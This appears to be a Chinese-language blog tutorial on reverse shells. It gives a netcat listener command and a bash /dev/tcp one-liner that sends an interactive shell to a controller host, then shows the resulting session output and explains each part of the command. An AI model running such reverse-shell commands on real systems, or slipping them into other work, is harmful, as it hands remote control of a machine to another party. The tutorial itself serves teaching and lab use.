如果我們需要到服務器上執行 Shell 命令,但是因為防火牆等原因,無法由客戶端主動發起連接的情況,就可以使用反彈 Shell 來滿足登陸和操作的需求。
什么是反彈Shell
正常情況下,我們登陸服務器獲取 Shell 會話是下面的步驟,用戶在終端軟件(Terminal)中輸入 ssh root@ip
登陸目標機器,登陸成功后即可以開始Shell操作。
反彈Shell(Reverse Shell),顧名思義是指與正常的 sshd 服務相反,由控制端監聽,被控制端發起請求到監聽端口,並將其命令行的輸入輸出轉到控制端。
實戰介紹
准備兩台網絡連通的服務器:
- 控制端:172.16.51.130
- 被控端:172.16.51.128
控制端監聽一個端口
$ nc -lvp 8888
listening on [any] 8888 ...
被控端生成一個反彈 Shell
$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1
這時注意觀察控制端,會出現被控端的 shell 提示符
172.16.51.128: inverse host lookup failed: Host name lookup failure
connect to [172.16.51.130] from (UNKNOWN) [172.16.51.128] 47584
tiago@lampiao:~$ whoami
whoami
tiago
tiago@lampiao:~$ hostname
hostname
lampiao
tiago@lampiao:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:cc:9b:c6 brd ff:ff:ff:ff:ff:ff
inet 172.16.51.128/24 brd 172.16.51.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fecc:9bc6/64 scope link
valid_lft forever preferred_lft forever
在提示符下輸入命令,可以看到確實是在被管機上執行的命令及返回的結果,就像我們登陸到了被管機一樣。
具體解釋如下:
$ nc -lvp 8888
使用 nc 命令在控制端監聽端口,-l
表示監聽 -p
表示端口。
$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1
# bash -i 表示進入一個交互式的Shell環境
# >& 表示將交互式Shell發送給后續的文件,並且將&聯合符號后面的內容也發送到重定向
# /dev/tcp/172.16.51.130/8888 實際是 `bash` 實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。
# 0>&1 表示將標准的輸入與標准輸出相結合,都發給重定向文件
# 2>&1 表示將標准輸出和標准錯誤輸出都發送到socket文件中,即我們能夠在控制端看到命令的返回,在被控端看不到相關信息。
上面的命令聯合起來意思就是,我們在被管機上產生了一個 bash 環境,將它發送給了遠程的控制主機,同時將被管機的標准輸入、標准輸出、標准錯誤輸出都發送給了控制主機,這樣實現了獲取被管主機 shell 執行環境的目的。
本文介紹的是最簡單的一種反彈shell實現方式,反彈shell還有很多種的實現方式,實現的思路應該都差不多,等稍后整理出來與大家分享。